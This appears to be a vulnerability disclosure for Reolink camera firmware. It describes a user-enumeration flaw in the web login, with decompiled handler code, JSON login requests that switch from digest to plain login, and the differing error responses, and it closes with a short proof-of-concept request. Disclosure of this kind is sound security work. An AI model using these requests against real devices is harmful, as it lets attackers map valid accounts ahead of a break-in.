Vulnerability title: Log in error message to expose user account presence
Date of discovery: 2025.07.05
Discovery Location (URL or System Path) :
Reolink Firmware Web ( Cmd
→ Login
)
Vulnerability Type (CWE ID):
Vulnerability Description:
If you enter the wrong account name and password in the login function, the contents of the error message returned by the server are displayed differently. This allows an attacker to distinguish between existing and non-existent accounts, resulting in a User Enumeration vulnerability that can collect user ID lists.
Impacted Products/Services: Reolink Firmware Web
Product version: firmware v3.0.0.4662_2503122283
Vulnerable Components:
Error message processing logic returned by user input (ID, Password) in login authentication function
Attack Vector
undefined4 FUN_000798f0(undefined4 param_1,int param_2)
{
int iVar1;
undefined4 uVar2;
char *pcVar3;
undefined4 *__s;
int local_24 [2];
__s = *(undefined4 **)(param_2 + 0xa8);
memset(__s,0,0x1fc);
local_24[0] = 0;
iVar1 = FUN_00066068(param_1,"Version",local_24);
if ((iVar1 != 0) || (local_24[0] != 1)) {
FUN_00065dc0(1,3,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgise rver/../../modules/cgiserver/src/cgi_security.cpp"
,0xb5);
FUN_00065dc0(0,3,&DAT_000f06f3);
*__s = 0;
iVar1 = FUN_000c8f48(param_1,"User");
if (iVar1 == 0) goto LAB_00079c3c;
FUN_000c9bd4(param_1,"User");
iVar1 = FUN_000c8824();
if (iVar1 == 0) {
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgi server/../../modules/cgiserver/src/cgi_security.cpp"
,0xcb);
pcVar3 = "cgi_login_j2s\\tfailed!";
}
else {
uVar2 = FUN_000c9bd4(param_1,"User");
iVar1 = FUN_00066574(uVar2,"userName",__s + 1,0x20);
if (iVar1 == 0) {
uVar2 = FUN_000c9bd4(param_1,"User");
iVar1 = FUN_00066574(uVar2,"password",__s + 9,0x20);
if (iVar1 != -0x16) goto LAB_00079c3c;
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/c giserver/../../modules/cgiserver/src/cgi_security.cpp"
,0xc4);
pcVar3 = "cgi_login_j2s get passward failed!";
}
else {
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/c giserver/../../modules/cgiserver/src/cgi_security.cpp"
,0xbd);
pcVar3 = "cgi_login_j2s get username failed!";
}
}
goto LAB_00079b2c;
}
FUN_00065dc0(1,3,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgiserv er/../../modules/cgiserver/src/cgi_security.cpp"
,0x61);
FUN_00065dc0(0,3,"######## 1");
*__s = 1;
iVar1 = FUN_000c8f48(param_1,"Digest");
if (iVar1 == 0) {
LAB_00079c3c:
FUN_00065dc0(1,2,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgise rver/../../modules/cgiserver/src/cgi_security.cpp"
,0xd2);
FUN_00065dc0(0,2,"cgi_login_j2s ok, user=%s, password=%s,len = %d",__s + 1,__s + 9,
*(undefined4 *)(param_2 + 0xa4));
return 0;
}
FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_000c8824();
if (iVar1 == 0) goto LAB_00079c3c;
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"UserName",*(undefined4 *)(*(int *)(param_2 + 0xc4) + 0x28c),0x20);
if (iVar1 != 0) {
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgise rver/../../modules/cgiserver/src/cgi_security.cpp"
,0x69);
pcVar3 = "cgi_login_j2s get username failed!";
goto LAB_00079b2c;
}
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"Realm",*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x20);
if (iVar1 == 0) {
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"Nonce",*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x60);
if (iVar1 != 0) {
uVar2 = 0x77;
LAB_00079b78:
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgi server/../../modules/cgiserver/src/cgi_security.cpp"
,uVar2);
pcVar3 = "cgi_login_j2s get realm failed!";
goto LAB_00079b2c;
}
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,&DAT_000f065e,*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0xa0);
if (iVar1 == 0) {
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"Cnonce",*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0xe0);
if (iVar1 != 0) {
uVar2 = 0x85;
goto LAB_00079b78;
}
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"Response",*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x120);
if (iVar1 == 0) {
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"Method",*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x160,0x10)
;
if (iVar1 == 0) {
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,&DAT_000f0679,
*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x170,0x10);
if (iVar1 != 0) {
uVar2 = 0x9a;
goto LAB_00079b78;
}
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,&DAT_000f067c,
*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x180);
if (iVar1 == 0) {
FUN_00065dc0(1,3,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/e xe/cgiserver/../../modules/cgiserver/src/cgi_security.cpp"
,0xaf);
iVar1 = *(int *)(*(int *)(param_2 + 0xc4) + 0x28c);
FUN_00065dc0(0,3,
"digest info--->user_name: %s, realm: %s,nonce: %s, uri: %s, cnonce: %s, re sponse: %s, method: %s, nc: %s, qop: %s "
,iVar1,iVar1 + 0x20,iVar1 + 0x60,iVar1 + 0xa0,iVar1 + 0xe0,iVar1 + 0x120,
iVar1 + 0x160,iVar1 + 0x170,iVar1 + 0x180);
goto LAB_00079c3c;
}
uVar2 = 0xa1;
}
else {
uVar2 = 0x93;
}
}
else {
uVar2 = 0x8c;
}
}
else {
uVar2 = 0x7e;
}
}
else {
uVar2 = 0x70;
}
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgiserv er/../../modules/cgiserver/src/cgi_security.cpp"
,uVar2);
pcVar3 = "cgi_login_j2s get realm failed!";
LAB_00079b2c:
FUN_00065dc0(0,0,pcVar3);
*(undefined4 *)(param_2 + 0x18) = 0xfffffffc;
return 0xffffffff;
}
The code above code is the code that receives input value. At this time, you see some of the following code:
iVar1 = FUN_00066068(param_1,"Version",local_24);
if ((iVar1 != 0) || (local_24[0] != 1)) {
// If "Version" is not 1 or missing, process as a standard login
}
else {
// If "Version" is 1, process as a digest authentication login
}
According to this code, if Version
is not 1 in the http request value, receive 'Id
' and password
values to process login, and if Version
is 1, digest authentication processing is performed. That is, there are two login requests. If you intercept the login request with a burp suite, you can verify that the original version is 1
[
{
"cmd": "Login",
"action": 0,
"param": {
"Version": 1
}
}
]
This request uses digest authentication because the value of Version
is 1
. However, you can change the above request as follows to send the login request normally.
[
{
"cmd": "Login",
"action": 0,
"param": {
"User": {
"userName": "admin",
"password": "1Q2w3e4r!"
}
}
}
]
If you enter the appropriate ID and password value, the server will return the token value as follows.
[
{
"cmd" : "Login",
"code" : 0,
"value" : {
"Token" : {
"leaseTime" : 3600,
"name" : "9f3df73fa08b573"
}
}
}
]
If the ID value is incorrect, you receive a response value of login failed as follows.
[
{
"cmd" : "Login",
"code" : 1,
"error" : {
"auth_warning_info" : {
"remain_times" : 10,
"unlock_time" : 0
},
"detail" : "login failed",
"rspCode" : -7
}
}
]
Also, if you get the password value wrong, you receive a response value called password wrong as follows.
[
{
"cmd" : "Login",
"code" : 1,
"error" : {
"auth_warning_info" : {
"remain_times" : 9,
"unlock_time" : 0
},
"detail" : "password wrong",
"rspCode" : -502
}
}
]
In other words, an attacker can compare the server's response messages while entering various user IDs when requesting login to determine the existence of those IDs. This allows the collection of user accounts registered on the system.
Reproduction Steps
```json
[
{
"cmd": "Login",
"action": 0,
"param": {
"Version": 1
}
}
]
```
Change the above login request to the following login request method.
```json
[
{
"cmd": "Login",
"action": 0,
"param": {
"User": {
"userName": "admin",
"password": "1Q2w3e4r!"
}
}
}
]
```
POC
[
{
"cmd": "Login",
"action": 0,
"param": {
"User": {
"userName": "admin",
"password": "1Q2w3e4r!"
}
}
}
]
Confidentiality Impact: Parital
Integrity Impact: None
Availability Impact: none
CVSS Score: 4.3
Severity Rating: Low